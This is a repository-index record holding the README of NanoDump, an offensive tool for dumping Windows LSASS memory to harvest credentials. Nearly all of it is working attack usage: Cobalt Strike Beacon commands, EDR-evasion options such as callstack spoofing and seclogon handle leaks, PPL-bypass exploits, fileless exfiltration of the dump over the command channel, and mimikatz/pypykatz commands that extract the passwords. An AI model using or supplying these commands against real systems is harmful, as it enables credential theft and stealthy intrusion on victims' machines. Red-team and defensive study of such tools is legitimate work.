{"id":13597977,"url":"https://github.com/fortra/nanodump","last_synced_at":"2025-05-15T09:07:17.005Z","repository":{"id":37466384,"uuid":"426733235","full_name":"fortra/nanodump","owner":"fortra","description":"The swiss army knife of LSASS dumping","archived":false,"fork":false,"pushed_at":"2024-09-17T22:58:11.000Z","size":15636,"stargazers_count":1903,"open_issues_count":0,"forks_count":249,"subscribers_count":36,"default_branch":"main","last_synced_at":"2025-04-11T20:44:29.926Z","etag":null,"topics":["bof","cna","cobalt-strike","lsass"],"latest_commit_sha":null,"homepage":"https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/fortra.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-11-10T18:28:15.000Z","updated_at":"2025-04-11T08:54:43.000Z","dependencies_parsed_at":"2024-06-06T16:02:20.547Z","dependency_job_id":"8dd44762-97f2-44ed-8428-805067de607c","html_url":"https://github.com/fortra/nanodump","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fortra%2Fnanodump","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fortra%2Fnanodump/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fortra%2Fnanodump/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fortra%2Fnanodump/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fortra","download_url":"https://codeload.github.com/fortra/nanodump/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254310515,"owners_count":22049469,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bof","cna","cobalt-strike","lsass"],"created_at":"2024-08-01T17:00:44.874Z","updated_at":"2025-05-15T09:07:11.997Z","avatar_url":"https://github.com/fortra.png","language":"C","funding_links":[],"categories":["C"],"sub_categories":[],"readme":"# NanoDump\n\nA flexible tool that creates a minidump of the LSASS process.\n\n![screenshot](resources/demo.png)\n\n\u003ch2\u003eTable of contents\u003c/h2\u003e\n\n\u003col\u003e\n  \u003cli\u003e\u003ca href=\"#usage\"\u003eUsage\u003c/a\u003e\u003c/li\u003e\n  \u003cli\u003e\u003ca href=\"#features\"\u003eFeatures\u003c/a\u003e\u003c/li\u003e\n  \u003cli\u003e\u003ca href=\"#combinations\"\u003eCombining Techniques\u003c/a\u003e\u003c/li\u003e\n  \u003cli\u003e\u003ca href=\"#examples\"\u003eExamples\u003c/a\u003e\u003c/li\u003e\n  \u003cli\u003e\u003ca href=\"#redirectors\"\u003eHTTPS Redirectors\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\n\u003ch2 id=\"usage\"\u003e1. Usage\u003c/h2\u003e\n\n```\nusage: Z:\\nanodump.x64.exe [--write C:\\Windows\\Temp\\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\\Windows\\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\\Windows\\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]\nDumpfile options:\n    --write DUMP_PATH, -w DUMP_PATH\n            filename of the dump\n    --valid, -v\n            create a dump with a valid signature\nObtain an LSASS handle via:\n    --duplicate, -d\n            duplicate a high privileged existing LSASS handle\n    --duplicate-elevate, -de\n            duplicate a low privileged existing LSASS handle and then elevate it\n    --seclogon-leak-local, -sll\n            leak an LSASS handle into nanodump via seclogon\n    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH\n            leak an LSASS handle into another process via seclogon and duplicate it\n    --seclogon-duplicate, -sd\n            make seclogon open a handle to LSASS and duplicate it\n    --spoof-callstack, -sc\n            open a handle to LSASS using a fake calling stack\nLet WerFault.exe (instead of nanodump) create the dump\n    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER\n            force WerFault.exe to dump LSASS via SilentProcessExit\n    --shtinkering, -sk\n            force WerFault.exe to dump LSASS via Shtinkering\nAvoid reading LSASS directly:\n    --fork, -f\n            fork the target process before dumping\n    --snapshot, -s\n            snapshot the target process before dumping\nAvoid opening a handle with high privileges:\n    --elevate-handle, -eh\n            open a handle to LSASS with low privileges and duplicate it to gain higher privileges\nMiscellaneous:\n    --getpid\n            print the PID of LSASS and leave\n    --chunk-size\n            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)\nHelp:\n    --help, -h\n            print this help message and leave\n\n```\n\n\u003ch3\u003eClone\u003c/h3\u003e\n\n```bash\ngit clone https://github.com/fortra/nanodump.git\n```\n\n\u003ch3\u003eCompile (optional)\u003c/h3\u003e\n\n\u003cb\u003eOn Linux with MinGW\u003c/b\u003e\n\n```bash\nmake -f Makefile.mingw\n```\n\n\u003cb\u003eOn Windows with MSVC\u003c/b\u003e (No BOF support)\n\n```bash\nnmake -f Makefile.msvc\n```\n\n\u003ch3\u003eImport (CobaltStrike only)\u003c/h3\u003e\n\nImport the `NanoDump.cna` script on Cobalt Strike.\n\n\u003ch3\u003eRun\u003c/h3\u003e\n\nRun the `nanodump` command in the Beacon console or the `nanodump.x64.exe` binary.\n\n\u003ch3\u003eRestore the signature\u003c/h3\u003e\n\nIf you didn't specify the `--valid` flag, you need to restore the invalid signature\n```zsh\nscripts/restore_signature \u003cdumpfile\u003e\n```\n\n\u003ch3\u003eGet the secretz\u003c/h3\u003e\n\n\u003cb\u003emimikatz:\u003c/b\u003e  \nTo get the secrets simply run:\n```sh\nmimikatz.exe \"sekurlsa::minidump \u003cdumpfile\u003e\" \"sekurlsa::logonPasswords full\" exit\n```\n\n\u003cb\u003epypykatz:\u003c/b\u003e  \nIf you prefer to stay on linux, you can use the python3 port of mimikatz called [pypykatz](https://github.com/skelsec/pypykatz):  \n```sh\npython3 -m pypykatz lsa minidump \u003cdumpfie\u003e\n```\n\n\u003ch2 id=\"features\"\u003e2. Features\u003c/h2\u003e\n\n\u003ch3\u003eProcess forking\u003c/h2\u003e\n\nTo avoid opening a handle to LSASS with `PROCESS_VM_READ`, you can use the `--fork` parameter.  \nThis will make nanodump create a handle to LSASS with `PROCESS_CREATE_PROCESS` access and then create a 'clone' of the process. This new process will then be dumped. While this will result in a process creation and deletion, it removes the need to read LSASS directly.\n\n\u003ch3\u003eSnapshot\u003c/h2\u003e\n\nSimilarly to the `--fork` option, you can use `--snapshot` to create a snapshot of the LSASS process.  \nThis will make nanodump create a handle to LSASS with `PROCESS_CREATE_PROCESS` access and then create a snapshot of the process using `PssNtCaptureSnapshot`. This new process will then be dumped. The snapshot will be freed automatically upon completion.\n\n\u003ch3\u003eHandle duplication\u003c/h2\u003e\n\nAs opening a handle to LSASS can be detected, nanodump can instead search for existing handles to LSASS.  \nIf one is found, it will copy it and use it to create the minidump.  \nNote that it is not guaranteed to find such a handle.\n\n\u003ch3\u003eElevate handle\u003c/h2\u003e\n\nYou can obtain a handle to LSASS with PROCESS_QUERY_LIMITED_INFORMATION, which is likely to be whitelisted, and then elevate that handle by duplicating it.\n\n\u003ch3\u003eSeclogon handle leak local\u003c/h2\u003e\n\nTo avoid opening a handle to LSASS, you can use abuse the seclogon service by calling `CreateProcessWithLogonW` to leak an LSASS handle into the nanodump binary.  \nTo enable this feature, use the `--seclogon-leak-local` parameter.  \nTake into account that when used from Cobalt Strike, an unsigned nanodump binary needs to be written to disk to use this feature.\n\n\u003ch3\u003eSeclogon handle leak remote\u003c/h2\u003e\n\nThis technique is very similar to the previous one, but instead of leaking the handle into nanodump, it is leaked into another binary and then duplicated so that nanodump can used it.\nUse the `--seclogon-leak-remote` flag to access this functionality.\n\n\u003ch3\u003eSeclogon handle duplication\u003c/h2\u003e\n\nYou can trick the seclogon process into opening a handle to LSASS and duplicating it before it is closed, by winning a race condition using file locks.\nUse the `--seclogon-duplicate` flag to access this functionality.\n\n\u003ch3\u003eLoad nanodump as an SSP\u003c/h2\u003e\n\nYou can load nanodump as an SSP in LSASS to avoid opening a handle.  \nWhen the DLL has been loaded into LSASS, the parameters will be passed via a named pipe and once the dump is completed, `DllMain` will return FALSE to make LSASS unload the nanodump DLL.  \nYou can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag `PASS_PARAMS_VIA_NAMED_PIPES=0`.  \n\n\u003ch4\u003eUpload and load a nanodump DLL\u003c/h3\u003e\n\nBy default, an unsigned nanodump DLL will be uploaded to the Temp folder which will be deleted automatically.  \n```\nbeacon\u003e nanodump_ssp -v -w C:\\Windows\\Temp\\lsass.dmp\n```\n\nIf you want to load a pre-existing DLL, you can run:\n```\nbeacon\u003e nanodump_ssp -v -w C:\\Windows\\Temp\\lsass.dmp --load-dll C:\\Windows\\Temp\\ssp.dll\n```\n\n\u003ch3\u003ePPL Dump exploit\u003c/h2\u003e\nIf LSASS is running as Protected Process Light (PPL), you can try to bypass it using a userland exploit discovered by Project Zero. If it is successful, the dump will be written to disk.  \n\n\u003e Note that this vulnerability has been fixed in the July 2022 update pack (Windows 10 21H2 Build 19044.1826)\n\nTo access this feature, use the `nanodump_ppl_dump` command\n```\nbeacon\u003e nanodump_ppl_dump -v -w C:\\Windows\\Temp\\lsass.dmp\n```\n\n\u003ch3\u003ePPL Medic exploit\u003c/h2\u003e\nNanodump also implements the PPLMedic exploit, which works on systems that have the July 2022 update pack.  \nThe parameters will be passed to the nanodump DLL via a named pipe. You can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag PASS_PARAMS_VIA_NAMED_PIPES=0.  \n\nTo access this feature, use the `nanodump_ppl_medic` command\n```\nbeacon\u003e nanodump_ppl_medic -v -w C:\\Windows\\Temp\\lsass.dmp\n```\n\n\u003ch3\u003eWerFault\u003c/h2\u003e\nYou can force the WerFault.exe process to create a full memory dump of LSASS. Take into consideration that this requires the ability to write to the registry\n\nBecause the dump is not made by nanodump, it will always have a valid signature.\n\n\u003ch4\u003eSilent Process Exit\u003c/h3\u003e\n\nTo leverage the Silent Process Exit technique, use the `--silent-process-exit` parameter and the path where the dump should be created.\n```\nbeacon\u003e nanodump --silent-process-exit C:\\Windows\\Temp\\\n```\n\nA dump of the nanodump process will also be created, similar to this:\n```\nPS C:\\\u003e dir 'C:\\Windows\\Temp\\lsass.exe-(PID-648)-4035593\\'\n\nDirectory: C:\\Windows\\Temp\\lsass.exe-(PID-648)-4035593\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp\n-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp\n```\n\n\u003ch4\u003eShtinkering\u003c/h3\u003e\n\nYou can also use the Shtinkering technique, which requires nanodump to run under SYSTEM:\n```\nbeacon\u003e nanodump --shtinkering\n```\n\nThe dump will tipically be created under `C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\CrashDumps`\n\n\u003ch3\u003eSpoof the callstack\u003c/h2\u003e\n\nYou can open a handle to LSASS with a fake callstack to make the function call look a bit more legitimate (especially if run as BOF).  \nTo access this feature, use the paramter `--spoof-callstack`.  \n\n\u003ch2 id=\"combinations\"\u003e3. Combining techniques\u003c/h2\u003e\n\nYou can combine many techniques to customize how nanodump operates.  \nThe following table indicates which flags can be used together.\n\n|                        | --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate    | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |\n|------------------------|:-------:|:-------:|:-----------:|:-----------------:|:---------------------:|:---------------------:|:----------------------:|:--------------------:|:-----------------:|:---------------------:|:-------------:|:------:|:----------:|:---:|:--------:|:---------:|\n| --write                | ✓       | ✓       | ✓           | ✓                 | ✓                     | ✓                     | ✓                      | ✓                    | ✓                 |                       |               | ✓      | ✓          |     | ✓        | ✓         |\n| --valid                | ✓       | ✓       | ✓           | ✓                 | ✓                     | ✓                     | ✓                      | ✓                    | ✓                 |                       |               | ✓      | ✓          |     | ✓        | ✓         |\n| --duplicate            | ✓       | ✓       | ✓           |                   |                       |                       |                        |                      |                   |                       | ✓             | ✓      | ✓          |     | ✓        |           |\n| --elevate-handle       | ✓       | ✓       |             | ✓                 |                       |                       |                        |                      | ✓                 |                       | ✓             | ✓      | ✓          |     |          | ✓         |\n| --duplicate-elevate    | ✓       | ✓       |             |                   | ✓                     |                       |                        |                      |                   |                       | ✓             | ✓      | ✓          |     |          |           |\n| --seclogon-leak-local  | ✓       | ✓       |             |                   |                       | ✓                     |                        |                      |                   |                       | ✓             | ✓      | ✓          |     |          |           |\n| --seclogon-leak-remote | ✓       | ✓       |             |                   |                       |                       | ✓                      |                      |                   |                       | ✓             | ✓      | ✓          |     |          |           |\n| --seclogon-duplicate   | ✓       | ✓       |             |                   |                       |                       |                        | ✓                    |                   |                       | ✓             | ✓      | ✓          |     |          |           |\n| --spoof-callstack      | ✓       | ✓       |             | ✓                 |                       |                       |                        |                      | ✓                 |                       | ✓             | ✓      | ✓          |     |          |           |\n| --silent-process-exit  |         |         |             |                   |                       |                       |                        |                      |                   | ✓                     |               |        |            |     |          |           |\n| --shtinkering          |         |         | ✓           | ✓                 | ✓                     | ✓                     | ✓                      | ✓                    | ✓                 |                       | ✓             |        |            |     |          |           |\n| --fork                 | ✓       | ✓       | ✓           | ✓                 | ✓                     | ✓                     | ✓                      | ✓                    | ✓                 |                       |               | ✓      |            |     |          |           |\n| --snapshot             | ✓       | ✓       | ✓           | ✓                 | ✓                     | ✓                     | ✓                      | ✓                    | ✓                 |                       |               |        | ✓          |     |          |           |\n| SSP                    |         |         |             |                   |                       |                       |                        |                      |                   |                       |               |        |            | ✓   |          |           |\n| PPL_DUMP               | ✓       | ✓       | ✓           |                   |                       |                       |                        |                      |                   |                       |               |        |            |     | ✓        |           |\n| PPL_MEDIC              | ✓       | ✓       |             | ✓                 |                       |                       |                        |                      |                   |                       |               |        |            |     |          | ✓         |\n\n\u003ch2 id=\"examples\"\u003e4. Examples\u003c/h2\u003e\n\nRead LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:\n```\nbeacon\u003e nanodump --fork --write C:\\lsass.dmp\n```\n\nUse the seclogon leak remote to leak an LSASS handle in a notepad process, duplicate that handle to get access to LSASS, then read it indirectly by creating a fork and downloading the dump with a valid signature:\n```\nbeacon\u003e nanodump --seclogon-leak-remote C:\\Windows\\notepad.exe --fork --valid\n```\n\nGet a handle with seclogon leak local, read LSASS indirectly by using a fork and write the dump to disk with a valid signature (a nanodump binary will be uploaded!):\n```\nbeacon\u003e nanodump --seclogon-leak-local --fork --valid --write C:\\Windows\\Temp\\lsass.dmp\n```\n\nDownload the dump with an invalid signature (default):\n```\nbeacon\u003e nanodump\n```\n\nDuplicate an existing handle and write the dump to disk with an invalid signature:\n```\nbeacon\u003e nanodump --duplicate --write C:\\Windows\\Temp\\report.docx\n```\n\nGet the PID of LSASS:\n```\nbeacon\u003e nanodump --getpid\n```\n\nLoad nanodump in LSASS as an SSP (a nanodump binary will be uploaded!):\n```\nbeacon\u003e nanodump_ssp -w C:\\Windows\\Temp\\lsass.dmp\n```\n\nDump LSASS bypassing PPL using the PPLDump exploit, duplicating the handle that csrss.exe has on LSASS:\n```\nbeacon\u003e nanodump_ppl_dump --duplicate --write C:\\Windows\\Temp\\lsass.dmp\n```\n\nDump LSASS bypassing PPL using the PPLMedic exploit, opening a low privileged handle to LSASS and then elevating it:\n```\nbeacon\u003e nanodump_ppl_medic --elevate-handle --write C:\\Windows\\Temp\\lsass.dmp\n```\n\nTrick seclogon into opening a handle to LSASS and duplicate it, then download the dump with an invalid signature:\n```\nbeacon\u003e nanodump --seclogon-duplicate\n```\n\nMake the WerFault.exe process create a full memory dump in the Temp folder:\n```\nbeacon\u003e nanodump --werfault C:\\Windows\\Temp\\\n```\n\nOpen a handle to LSASS with a spoofed callstack and download the minidump with an invalid signature:\n```\nbeacon\u003e nanodump --spoof-callstack\n```\n\nUse the Shtinkering techinque:\n```\nbeacon\u003e nanodump --shtinkering\n```\n\nObtain a handle using seclogon leak local and create the dump using the Shtinkering techinque:\n```\nbeacon\u003e nanodump --seclogon-leak-local --shtinkering\n```\n\nObtain a handle with low privs and elevate it using _elevate handle_:\n```\nbeacon\u003e nanodump --elevate-handle\n```\n\nObtain a handle with low privs using a spoofed callstack and elevate it using _elevate handle_:\n```\nbeacon\u003e nanodump --elevate-handle --spoof-callstack\n```\n\nDuplicate an existing low priv handle and elevate it using _elevate handle_:\n```\nbeacon\u003e nanodump --duplicate-elevate\n```\n\n\u003ch2 id=\"redirectors\"\u003e5. HTTPS redirectors\u003c/h2\u003e\n\nIf you are using an HTTPS redirector (as you should), you might run into issues when downloading the dump filelessly due to the size of the requests that leak the dump.  \nIncrease the max size of requests on your web server to allow nanodump to download the dump.\n\n#### NGINX\n```\nlocation ~ ^...$ {\n    ...\n    client_max_body_size 50M;\n}\n```\n#### Apache2\n```\n\u003cDirectory \"...\"\u003e\n    LimitRequestBody  52428800\n\u003c/Directory\u003e\n```\n\n## Credits\n- [skelsec](https://twitter.com/skelsec) for writing [minidump](https://github.com/skelsec/minidump), which was crucial for learning the minidump file format.\n- [freefirex](https://twitter.com/freefirex2) from [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) at Trustedsec for many cool tricks for BOFs\n- [Jackson_T](https://twitter.com/Jackson_T) for [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2)\n- [BillDemirkapi](https://twitter.com/BillDemirkapi) for [Process Forking](https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/)\n- [Antonio Cocomazzi](https://twitter.com/splinter_code) for [Abusing leaked handles to dump LSASS memory](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html) and [Racing for LSASS dumps](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html)\n- [xpn](https://twitter.com/_xpn_) for [Exploring Mimikatz - Part 2 - SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/)\n- [Matteo Malvica](https://twitter.com/matteomalvica) for [Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start](https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/)\n- [James Forshaw](https://twitter.com/tiraniddo) for [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)\n- [itm4n](https://twitter.com/itm4n) for the original PPL userland exploits implementation, [PPLDump](https://github.com/itm4n/PPLdump) and [PPLMedic](https://github.com/itm4n/PPLmedic).\n- [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [Lsass Memory Dumps are Stealthier than Ever Before - Part 2](https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2) and the Shtinkering technique\n- [William Burgess](https://twitter.com/joehowwolf) for [Spoofing Call Stacks To Confuse EDRs](https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs)\n- [Sebastian Feldmann](https://twitter.com/thefLinkk) and [Fabian](https://twitter.com/testert01) for the _elevate handle_ technique discussed at [Morph Your Malware!](https://www.youtube.com/watch?v=AucQUjJBJuw)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffortra%2Fnanodump","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffortra%2Fnanodump","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffortra%2Fnanodump/lists"}